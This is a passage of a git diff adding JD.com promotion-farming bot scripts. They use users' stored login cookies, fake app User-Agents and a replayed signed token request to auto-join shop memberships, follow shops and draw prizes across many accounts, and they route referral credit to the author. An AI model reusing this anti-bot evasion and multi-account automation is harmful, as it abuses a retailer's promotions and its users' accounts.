msg += ` ${res.data.codeNum}个夺宝码` + } + console.log(`${title}获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${title} ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl(`/dingzhi/union/kxj/myInfo?_=${Date.now()}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res === 'object'){ + let flag = false + $.totalScore = 0 + $.useScore = 0 + $.leftchance = res.data.leftchance + for(let i of res.data.bagList){ + flag = false + if(i.totalNum <= i.useNum){ + flag = true + } + switch (i.bagId) { + case 'score': + $.totalScore = i.totalNum + $.useScore = i.totalNum-i.useNum + break; + case 'vipDraw1': + $.vipDraw1 = flag + break; + case 'vipDraw2': + $.vipDraw2 = flag + break; + } + } + flag = false + for(let i of res.data.task){ + flag = false + if(i.maxNeed <= i.curNum){ + flag = true + } + switch (i.taskid) { + case 'add2cart': + $.add2cart = flag + break; + case 'followshop': + $.followshop = flag + $.openCard = $.toObj(i.params,i.params) + break; + case 'joinvip1': + $.joinvip1 = flag + break; + case 'joinvip1': + $.joinvip1 = flag + break; + case 'joinvip2': + $.joinvip2 = flag + break; + case 'scansku': + $.scansku = flag + break; + case 'signin': + $.signin = flag + break; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/union/kxj/activityContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data.uid != 'undefined') $.actorUuid = res.data.uid + if(typeof res.data.openCardList != 'undefined') $.openCardList = res.data.openCardList + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function accessLogWithAD() { + return new Promise(resolve => { + let pageurl = `https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` + $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` + $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('lz_jdpin_token=') > -1) lz_jdpin_token = name.replace(/ /g, '') + ';' + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin + if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getMyPing ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}` + $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_1316_53522&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167774&client=apple&clientVersion=10.1.0&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=63&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=75df8a672190341ca31fff9c0a841bb3&st=1630651158242&sv=102&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJw%2B3mGtYmx2hyp52UMhls9w5E1lP/cnCogTc/4/jyJkNxBj9qsqu3exORLVrut59gKtKPsdPpDLYHnhQVw%2B9yvPdRa/FTunLhcXz5qedappUDUmn0Fm3TxnjPSrQmcUpa7INaGp3VFQ2PoU8O7iI6/2mD/b/NXwyN3MJVTVshLoa8InxZKbMmeg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'Content-Type':'application/x-www-form-urlencoded', + 'Cookie': cookie, + 'Host':'api.m.jd.com', + 'User-Agent': `JD4iPhone/167774 (iPhone; iOS 13.1.2; Scale/2.00)`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.errcode == 0){ + if(typeof res.token != 'undefined') $.Token = res.token + }else if(typeof res == 'object' && res.message){ + console.log(`isvObfuscator ${res.message || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getCk() { + return new Promise(resolve => { + let get = { + url:`https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + followRedirect:false, + headers: { + // "Cookie": cookie, + "User-Agent": $.UA, + } + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${activityCookie}${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}${lz_jdpin_token}`, + "Origin": "https://lzdz-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard23.js b/backUp/gua_opencard23.js new file mode 100644 index 0000000..6697191 --- /dev/null +++ b/backUp/gua_opencard23.js @@ -0,0 +1,820 @@ +/* +9.6-9.17 福满中秋 [gua_opencard23.js] +新增开卡脚本 + +邀请一人20豆 (有可能没有豆 +开9张卡(1组) 抽奖可能获得50京豆/每组(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购没有豆只有游戏机会 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku23]为"true" +博饼 (有可能是空气💨 默认不博饼 如需博饼请设置环境变量[guaopencard_draw23]为"3" +100积分抽1次 +填写要博饼的次数 不足已自身次数为准 +guaopencard_draw23="3" +填非数字会全都抽奖 + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard23="true" +———————————————— +入口:[9.6-9.17 福满中秋 (https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=dz2109100000119501&shareUuid=814e2d8458c7402ba088c0efe0e4274d)] + +============Quantumultx=============== +[task_local] +#9.6-9.17 福满中秋 +24 10,20 6-17 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js, tag=9.6-9.17 福满中秋, enabled=true + +================Loon============== +[Script] +cron "24 10,20 6-17 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js, tag=9.6-9.17 福满中秋 + +===============Surge================= +9.6-9.17 福满中秋 = type=cron,cronexp="24 10,20 6-17 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js + +============小火箭========= +9.6-9.17 福满中秋 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js, cronexpr="24 10,20 6-17 9 *", timeout=3600, enable=true +*/ +const $ = new Env('9.6-9.17 福满中秋'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +// const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityCookie = ''; +let lz_jdpin_token = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = "false" +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku23 ? process.env.guaopencard_addSku23 : guaopencard_addSku) : ($.getdata('guaopencard_addSku23') ? $.getdata('guaopencard_addSku23') : guaopencard_addSku); +let guaopencard_draw = "0" +guaopencard_draw = $.isNode() ? (process.env.guaopencard_draw23 ? process.env.guaopencard_draw23 : guaopencard_draw) : ($.getdata('guaopencard_draw23') ? $.getdata('guaopencard_draw23') : guaopencard_draw); +let guaopencard = "false" +guaopencard = $.isNode() ? (process.env.guaopencard23 ? process.env.guaopencard23 : guaopencard) : ($.getdata('guaopencard23') ? $.getdata('guaopencard23') : guaopencard); +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if(guaopencard+"" != "true"){ + console.log('如需执行脚本请设置环境变量[guaopencard23]为"true"') + } + if(guaopencard+"" != "true"){ + return + } + } + $.shareUuid = '814e2d8458c7402ba088c0efe0e4274d' + $.activityId = 'dz2109100000119501' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length && true; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) break + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + lz_jdpin_token = '' + $.Token = '' + $.Pin = '' + await getCk() + if (activityCookie == '') { + console.log(`获取cookie失败`); return; + } + await getToken(); + if($.Token == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.nickname = ''; + await getMyPing() + if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await accessLogWithAD() + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + $.openCard = '' + await checkOpenCard(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + console.log(`加入会员:${$.allOpenCard}`) + if (!$.allOpenCard && $.openCard) { + for (let o of $.openCard && $.openCard || []) { + if(o.openStatus == false){ + await join(o.venderId) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await drawContent(); + await checkOpenCard() + } + } + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await drawContent(); + await checkOpenCard(); + console.log(`加入会员:${$.allOpenCard}`) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + if($.opencardDraw) await draw("opencarddraw") + if($.opencardDraw) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getInitInfo(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + console.log(`关注店铺:${$.followShop}`) + if(!$.followShop) await saveTask('关注店铺', 23, 23); + if(!$.followShop) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + console.log(`签到:${$.signStatus}`) + if(!$.signStatus) await saveTask('签到', 0, 0); + if(!$.signStatus) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + console.log(`加购商品:${$.skuAddCart}`) + if(guaopencard_addSku+"" == "true"){ + if(!$.skuAddCart) await saveTask('加购商品', 21, 21); + if(!$.skuAddCart) await 